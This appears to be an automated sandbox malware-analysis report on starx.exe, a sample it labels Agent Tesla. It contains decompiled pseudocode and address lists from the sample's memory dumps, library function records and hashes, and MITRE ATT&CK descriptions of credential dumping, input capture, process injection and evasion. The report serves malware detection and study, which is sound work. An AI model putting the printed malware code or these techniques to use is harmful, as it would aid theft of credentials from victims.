					 *_t161 =  *_t161 + 1;
					ss = ss;
					_t141 = _t139 - 0x00000002 |  *(_t139 - 2);
					_pop(es);
					asm("sbb dh, bh");
					 *((intOrPtr*)(0xa010000 + _t141)) =  *((intOrPtr*)(0xa010000 + _t141)) + _t175;
					_t142 = _t141 -  *0xa010000;
					_t177 = _t177 - _t157;
					if(_t177 > 0) {
						 *_t142 =  *_t142 + _t142;
						_t142 = _t142 + 0x2a;
						 *_t157 = 0xa010000 +  *_t157;
						 *0xa010000 =  *0xa010000 ^ _t142;
						 *((intOrPtr*)(_t175 + 0xe000000)) =  *((intOrPtr*)(_t175 + 0xe000000)) + 0xa010000;
						 *_t142 =  *_t142 + _t142;
						asm("adc [esi], edx");
						_t171 = _t171 |  *_t142;
						 *_t142 = _t142;
						 *_t142 =  *_t142 + _t142;
						 *_t171 =  *_t171 + _t142;
						asm("sbb bh, dh");
						 *((intOrPtr*)(_t161 + 0x1e7e)) =  *((intOrPtr*)(_t161 + 0x1e7e)) + _t175;
					}
					_t144 = (_t142 | 0x00001e7e) + 6;
					asm("outsd");
					 *_t144 = _t144;
					 *_t172 =  *_t172 + _t144;
					asm("sbb ecx, [ebx]");
					 *_t171 =  *_t171 + _t144;
					asm("sbb esi, edi");
					_t84 = _t161 + _t161;
					 *_t84 =  *((intOrPtr*)(_t161 + _t161)) + _t175;
					if( *_t84 <= 0) {
						break;
					}
					 *_t144 =  *_t144 + _t144;
					_t157 = _t157 ^  *0xa010000;
					_t138 = _t144 + 0x0000002c |  *(_t144 + 0x2c);
					_pop(es);
					asm("sbb dh, bh");
					 *((intOrPtr*)(_t171 + _t161)) =  *((intOrPtr*)(_t171 + _t161)) + _t175;
					asm("adc al, 0xfe");
					_push(es);
					 *_t172 =  *_t172 + _t138;
					if( *_t172 >= 0) {
						continue;
					}
					 *_t138 =  *_t138 + _t138;
					_push(es);
					_t144 = _t138 |  *_t138;
					_t190 = _t144;
					break;
				}
				_pop(es);
				asm("sbb eax, 0xd2c01fe");
				if(_t190 > 0) {
					 *_t144 =  *_t144 + _t144;
					_t150 = _t144 + 6;
					asm("outsd");
					_t151 =  *_t150;
					 *_t151 = _t150;
					 *_t172 =  *_t172 + _t151;
					_t152 = _t151 |  *_t151;
					es = ds;
					asm("sbb edi, esi");
					 *((intOrPtr*)(_t152 + _t161)) =  *((intOrPtr*)(_t152 + _t161)) + _t175;
					_t144 = _t152 +  *((intOrPtr*)(_t152 + 0x400001e));
					asm("sbb al, 0xb");
					 *_t171 =  *_t171 + _t144;
					_pop(ss);
					 *_t161 =  *_t161 + 1;
				}
				 *((intOrPtr*)(0xa010000 + _t144)) =  *((intOrPtr*)(0xa010000 + _t144)) + _t175;
				asm("sbb [ebx], cl");
				 *_t171 =  *_t171 + _t144;
				asm("sbb al, 0xfe");
				_t94 = _t161 + _t161;
				 *_t94 =  *((intOrPtr*)(_t161 + _t161)) + _t175;
				if( *_t94 > 0) {
					 *_t144 =  *_t144 + _t144;
					asm("sbb [0x1607000b], ebx");
					 *_t161 =  *_t161 + 1;
					_pop(ss);
					_pop(es);
					_push(ds);
					 *_t161 =  *_t161 + 1;
					_t144 = (_t144 + 0x0000002c - 0x00000002 |  *(_t144 + 0x2c - 2)) - 2 -  *0xffff7338;
				}
			}

0x00402298
0x0040229a
0x0040229c
0x0040229e
0x004022a0
0x004022a2
0x004022a6
0x004022a8
0x004022ad
0x004022ae
0x004022b8
0x004022ba
0x004022bc
0x004022be
0x004022c0
0x004022c1
0x004022c3
0x004022c5
0x004022c7
0x004022c9
0x004022cb
0x004022cc
0x004022ce
0x004022d0
0x004022d0
0x004022d3
0x004022d5
0x004022d7
0x004022de
0x004022e0
0x004022e2
0x004022e3
0x004022e5
0x004022e8
0x004022ea
0x004022ec
0x004022ec
0x004022f0
0x004022f2
0x004022f4
0x004022f6
0x004022f7
0x004022f9
0x004022fb
0x004022fd
0x00402300
0x00402304
0x00402305
0x00402307
0x00402308
0x0040230a
0x0040230f
0x00402315
0x00402317
0x00402318
0x0040231a
0x0040231c
0x0040231e
0x00402320
0x00402322
0x00402324
0x00402326
0x00402328
0x0040232a
0x0040232a
0x0040232c
0x0040232e
0x00402330
0x00402333
0x00402336
0x00402338
0x0040233d
0x00402343
0x00402349
0x00402351
0x00402353
0x0040235b
0x0040235d
0x00402360
0x00402367
0x00402368
0x0040236c
0x0040236e
0x00402373
0x00402376
0x00402379
0x0040237c
0x0040237f
0x00402382
0x00402385
0x00402387
0x00402387
0x0040238a
0x0040238c
0x0040238f
0x00402392
0x00402394
0x00402396
0x0040239f
0x004023a0
0x004023a7
0x004023a9
0x004023aa
0x004023ad
0x004023b0
0x004023b2
0x004023b4
0x004023b7
0x004023ba
0x004023bc
0x004023be
0x004023c1
0x004023c4
0x004023c6
0x004023c8
0x004023cb
0x004023ce
0x004023d1
0x004023d4
0x004023d7
0x004023da
0x004023dc
0x004023de
0x004023e2
0x004023e4
0x004023eb
0x004023ed
0x004023ee
0x004023f1
0x004023f1
0x004023f5
0x004023f7
0x004023f8
0x004023fa
0x004023fc
0x004023fd
0x004023fe
0x00402401
0x00402404
0x00402408
0x00402410
0x00402411
0x00402412
0x00402415
0x00402417
0x0040241c
0x0040241f
0x00402422
0x00402425
0x00402428
0x0040242b
0x0040242e
0x00402431
0x00402432
0x00402434
0x00402435
0x00402437
0x0040243f
0x00402443
0x00402444
0x0040244b
0x0040244d
0x0040244e
0x00402451
0x00402454
0x00402456
0x00402458
0x0040245b
0x0040245e
0x00402463
0x00402465
0x00402468
0x0040246b
0x0040246c
0x0040246f
0x00402472
0x00402473
0x00402475
0x00402476
0x00402479
0x0040247e
0x00402480
0x00402483
0x00402486
0x0040248c
0x00402493
0x00402498
0x004024a2
0x004024a3
0x004024a4
0x004024a6
0x004024a8
0x004024a9
0x004024ae
0x004024b0
0x004024b1
0x004024b6
0x004024b8
0x004024b9
0x004024be
0x004024c0
0x004024c1
0x004024c6
0x004024c8
0x004024c9
0x004024ce
0x004024d0
0x004024d1
0x004024d6
0x004024d8
0x004024d9
0x004024de
0x004024e0
0x004024e1
0x004024e6
0x004024e9
0x004024eb
0x004024ed
0x004024ef
0x004024f1
0x004024f3
0x004024f5
0x004024f5
0x004024f7
0x004024f9
0x004024fb
0x004024fd
0x004024fe
0x004024ff
0x00402501
0x00402503
0x00402505
0x00402508
0x0040250c
0x0040250d
0x0040250f
0x00402510
0x00402512
0x00402515
0x00402517
0x00402519
0x0040251b
0x0040251d
0x0040251f
0x00402521
0x00402523
0x00402529
0x0040252b
0x0040252d
0x0040252f
0x00402531
0x00402533
0x00402535
0x00402537
0x00402537
0x0040253e
0x00402540
0x00402541
0x00402543
0x00402545
0x00402547
0x00402549
0x0040254b
0x0040254b
0x0040254e
0x00000000
0x00000000
0x00402550
0x00402554
0x00402556
0x00402558
0x00402559
0x0040255b
0x0040255e
0x00402560
0x00402563
0x00402565
0x00000000
0x00000000
0x00402567
0x00402569
0x0040256c
0x0040256c
0x00000000
0x0040256c
0x0040256e
0x0040256f
0x00402574
0x00402576
0x00402578
0x0040257a
0x0040257b
0x0040257b
0x0040257d
0x00402580
0x00402582
0x00402583
0x00402585
0x00402588
0x0040258e
0x00402590
0x00402592
0x00402593
0x00402593
0x00402594
0x00402597
0x00402599
0x0040259b
0x0040259d
0x0040259d
0x004025a0
0x004025a2
0x004025a6
0x004025ac
0x004025b0
0x004025b3
0x004025b4
0x004025b5
0x004025b9
0x004025b9

Memory Dump Source

Source File: 00000002.00000002.1009281768.0000000000402000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1009267628.0000000000400000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_starx.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7eb817b2a6a24980cbdf9cc923701090f1fbbeca7abc10a7ee4809b978827f4d
Instruction ID: 8178f720de8f3806f45b68d60b24047579928b3e7f0c48e045800f5c1123a142
Opcode Fuzzy Hash: 7eb817b2a6a24980cbdf9cc923701090f1fbbeca7abc10a7ee4809b978827f4d
Instruction Fuzzy Hash: 6E02076640E3D25FC3238B7899657D17FB19F67219F1E09CFC0C19E0A3E668144AD762

Uniqueness

Uniqueness Score: -1.00%

Function 024CDA00, Relevance: .3, Instructions: 261COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1011106259.00000000024C0000.00000040.00000001.sdmp, Offset: 024C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_24c0000_starx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4da35908d16b42fafabaef5ad3ca4d79c94069c0d1dd6159f6a3beff31ab82c
Instruction ID: fb92fe12a270402d73be21c2ee022b4296c52727823794488f9cf7f704ed75ba
Opcode Fuzzy Hash: a4da35908d16b42fafabaef5ad3ca4d79c94069c0d1dd6159f6a3beff31ab82c
Instruction Fuzzy Hash: 2B919534F14218CBDB48ABB8D8547BE7AB7AFC8604F15882ED507E7394DF7488428B95

Uniqueness

Uniqueness Score: -1.00%

Function 0044313D, Relevance: .1, Instructions: 131COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1009349015.000000000043D000.00000040.00000001.sdmp, Offset: 0043D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_43d000_starx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67eb1f1ccecb9549ea149d8cd82acf71f7a19e4fa34e04c87cd54886426e03df
Instruction ID: a32308fee5d1793333a6b21d8d9818bdb2f83b274730b7f5bcf97daf80ac7a0c
Opcode Fuzzy Hash: 67eb1f1ccecb9549ea149d8cd82acf71f7a19e4fa34e04c87cd54886426e03df
Instruction Fuzzy Hash: A0410C72E102188BEF08CF9AC8555EEF7B6FFC8315F19805AD911F7354C678A9428B94

Uniqueness

Uniqueness Score: -1.00%

Function 0040533C, Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1009281768.0000000000402000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1009267628.0000000000400000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_starx.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4877329a4abaa4e8e9d8489dc101e8f9958bb63f3b0c0f92c83a302fc211ff71
Instruction ID: 3e93bac1760f436f12c9934642d2c78feca2947ff1bd061466ff828bf10a8f20
Opcode Fuzzy Hash: 4877329a4abaa4e8e9d8489dc101e8f9958bb63f3b0c0f92c83a302fc211ff71
Instruction Fuzzy Hash: D331F36148E7C29FC7438BB05876181BFB0AE1722071E09DBC4C1CF0E3E65C199AE726

Uniqueness

Uniqueness Score: -1.00%

Function 00443412, Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1009349015.000000000043D000.00000040.00000001.sdmp, Offset: 0043D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_43d000_starx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e624ca07e480b20f3e87d250268d7befd875a58a2c7744576e64497166e65542
Instruction ID: bd968d438cf1f7cc48d2699aa6dc25f788ce626c8300f247f0c3ea38afe2aafd
Opcode Fuzzy Hash: e624ca07e480b20f3e87d250268d7befd875a58a2c7744576e64497166e65542
Instruction Fuzzy Hash: 82D0C970A1528CEFEB16CF58D116BCEBBB8AB01748F600085D4415B356C2B9AF42DB99

Uniqueness

Uniqueness Score: -1.00%

Function 004434D0, Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1009349015.000000000043D000.00000040.00000001.sdmp, Offset: 0043D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_43d000_starx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c38f530f393c8e445e7f9ebfc598e40a83d4b02ab9be02f0dcf01f71a647c4e9
Instruction ID: 012b87460875e0268afdfdc0b978a6a710eff959b0745fce16cd901dd271b764
Opcode Fuzzy Hash: c38f530f393c8e445e7f9ebfc598e40a83d4b02ab9be02f0dcf01f71a647c4e9
Instruction Fuzzy Hash: 91D0127090528CEFEB11CF45D206B8ABBF8EB00B4CF108088E00597681C3BAAF44D744

Uniqueness

Uniqueness Score: -1.00%

Function 0043F03C, Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 57libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,00446660,0000000C,0043F177,00000000,00000000,?,?,0043E6BF,0043D10E), ref: 0043F04E
__crt_waiting_on_module_handle.LIBCMT ref: 0043F059

Part of subcall function 0043E15C: Sleep.KERNEL32(000003E8,?,?,0043EF9F,KERNEL32.DLL,?,0043E6EC,?,0043D108,?), ref: 0043E168
Part of subcall function 0043E15C: GetModuleHandleW.KERNEL32(?,?,?,0043EF9F,KERNEL32.DLL,?,0043E6EC,?,0043D108,?), ref: 0043E171

GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 0043F082
GetProcAddress.KERNEL32(?,DecodePointer), ref: 0043F092
__lock.LIBCMT ref: 0043F0B4
InterlockedIncrement.KERNEL32(004474D8), ref: 0043F0C1
__lock.LIBCMT ref: 0043F0D5
___addlocaleref.LIBCMT ref: 0043F0F3

Strings

EncodePointer, xrefs: 0043F076
DecodePointer, xrefs: 0043F08A
KERNEL32.DLL, xrefs: 0043F048, 0043F04D, 0043F058

Memory Dump Source

Source File: 00000002.00000002.1009349015.000000000043D000.00000040.00000001.sdmp, Offset: 0043D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_43d000_starx.jbxd

Similarity

API ID: AddressHandleModuleProc__lock$IncrementInterlockedSleep___addlocaleref__crt_waiting_on_module_handle
String ID: DecodePointer$EncodePointer$KERNEL32.DLL
API String ID: 1028249917-2843748187
Opcode ID: 760ff08d575cbe189caaf2f8284aa2ced4b9f82f191dbc2d600152298f1aa982
Instruction ID: 86e4af1ca0972e9efce2d7ee61bfb4623ccffe0f25e1aa7ecfe14901fff6ca5b
Opcode Fuzzy Hash: 760ff08d575cbe189caaf2f8284aa2ced4b9f82f191dbc2d600152298f1aa982
Instruction Fuzzy Hash: B4119671940B01DFEB209F36D84175ABBF0AF05318F10452FE49997292CB7899458F5D

Uniqueness

Uniqueness Score: -1.00%

Function 00440F60, Relevance: 7.5, APIs: 5, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00440F6C

Part of subcall function 0043F19C: __getptd_noexit.LIBCMT ref: 0043F19F
Part of subcall function 0043F19C: __amsg_exit.LIBCMT ref: 0043F1AC

__amsg_exit.LIBCMT ref: 00440F8C
__lock.LIBCMT ref: 00440F9C
InterlockedDecrement.KERNEL32(?), ref: 00440FB9
InterlockedIncrement.KERNEL32(024D2B78), ref: 00440FE4

Memory Dump Source

Source File: 00000002.00000002.1009349015.000000000043D000.00000040.00000001.sdmp, Offset: 0043D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_43d000_starx.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID:
API String ID: 4271482742-0
Opcode ID: 2c616dfdfe2b3b0f4fa56f413c9e7892ce289759e379619b865f9694a4594d68
Instruction ID: 9526eca4fd775d6c1af8ece24d966bef2bef708e5b618dfb79aa49901e553a3a
Opcode Fuzzy Hash: 2c616dfdfe2b3b0f4fa56f413c9e7892ce289759e379619b865f9694a4594d68
Instruction Fuzzy Hash: 5901ED35E01A11ABFB31AB65A80175E7360AF05718F00402BE900A3281C77C6C6ACBDE

Uniqueness

Uniqueness Score: -1.00%

Function 0043F577, Relevance: 7.5, APIs: 5, Instructions: 44memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 0043F595

Part of subcall function 0043D445: __mtinitlocknum.LIBCMT ref: 0043D45B
Part of subcall function 0043D445: __amsg_exit.LIBCMT ref: 0043D467
Part of subcall function 0043D445: RtlEnterCriticalSection.NTDLL(?), ref: 0043D46F

___sbh_find_block.LIBCMT ref: 0043F5A0
___sbh_free_block.LIBCMT ref: 0043F5AF
HeapFree.KERNEL32(00000000,?,004466D0,0000000C,0043D426,00000000,00446600,0000000C,0043D460,?,?,?,00441525,00000004,004467D0,0000000C), ref: 0043F5DF
GetLastError.KERNEL32(?,00441525,00000004,004467D0,0000000C,0043F660,?,?,00000000,00000000,00000000,?,0043F14E,00000001,00000214), ref: 0043F5F0

Memory Dump Source

Source File: 00000002.00000002.1009349015.000000000043D000.00000040.00000001.sdmp, Offset: 0043D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_43d000_starx.jbxd

Similarity

API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2714421763-0
Opcode ID: 827981389c18d20363fe1995ff821e51653d0af36e1228fbf0ced475b85ce1b6
Instruction ID: eed7a6a7dbc623e3b2c97ed40c08d57379deacbaba7e3b3aea03e71f9b32afee
Opcode Fuzzy Hash: 827981389c18d20363fe1995ff821e51653d0af36e1228fbf0ced475b85ce1b6
Instruction Fuzzy Hash: ED01A271D02701BADF207F72AC0A75E3AA49F19364F60616FF000A62D2CE3C89448A5D

Uniqueness

Uniqueness Score: -1.00%

Function 00440CC4, Relevance: 6.0, APIs: 4, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00440CD0

Part of subcall function 0043F19C: __getptd_noexit.LIBCMT ref: 0043F19F
Part of subcall function 0043F19C: __amsg_exit.LIBCMT ref: 0043F1AC

__getptd.LIBCMT ref: 00440CE7
__amsg_exit.LIBCMT ref: 00440CF5
__lock.LIBCMT ref: 00440D05

Memory Dump Source

Source File: 00000002.00000002.1009349015.000000000043D000.00000040.00000001.sdmp, Offset: 0043D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_43d000_starx.jbxd

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID:
API String ID: 3521780317-0
Opcode ID: d552cc60d76100c77751c096bf886955c606d4930e6c79d6de5067c399125dd7
Instruction ID: 1584bdbe595fe42c57fd0eb84b42861b871b66a2561c440ed007027fb1353d5d
Opcode Fuzzy Hash: d552cc60d76100c77751c096bf886955c606d4930e6c79d6de5067c399125dd7
Instruction Fuzzy Hash: CEF09032E40700CBFB20FBB6A40274E73A0AB45729F11465FE585972D1CB3CA8468A9E

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report starx.exe

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Threatname: Agenttesla

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

Signature Overview

AV Detection:

Spreading:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

SMTP Packets

Code Manipulations

Statistics

CPU Usage

Function 00405250, Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 184
registrystringlibraryCOMMON

Function 0045BB20, Relevance: 26.7, APIs: 13, Strings: 2, Instructions: 401
COMMON

Function 0040535C, Relevance: 15.1, APIs: 10, Instructions: 98
stringlibrarythreadCOMMON

Function 00465ED0, Relevance: 7.6, APIs: 5, Instructions: 72
COMMON

Function 00440CB8, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111
COMMON

Function 00465CEC, Relevance: 3.0, APIs: 2, Instructions: 27
memoryCOMMON

Function 0043DD3C, Relevance: 1.6, APIs: 1, Instructions: 129
COMMON

Function 004137F4, Relevance: 1.6, APIs: 1, Instructions: 53
COMMON

Function 0041E338, Relevance: 1.5, APIs: 1, Instructions: 37
COMMON

Function 004482AC, Relevance: 1.5, APIs: 1, Instructions: 34
COMMON

Function 0045BA98, Relevance: 1.5, APIs: 1, Instructions: 24
nativeCOMMON

Function 0044805C, Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 103
registrylibraryloaderCOMMON

Function 0045B5A0, Relevance: 13.6, APIs: 9, Instructions: 132
windowregistryCOMMON

Function 0044025C, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 134
registryCOMMON

Function 0045A990, Relevance: 10.6, APIs: 7, Instructions: 89
COMMON

Function 004361E8, Relevance: 10.6, APIs: 7, Instructions: 75
COMMON

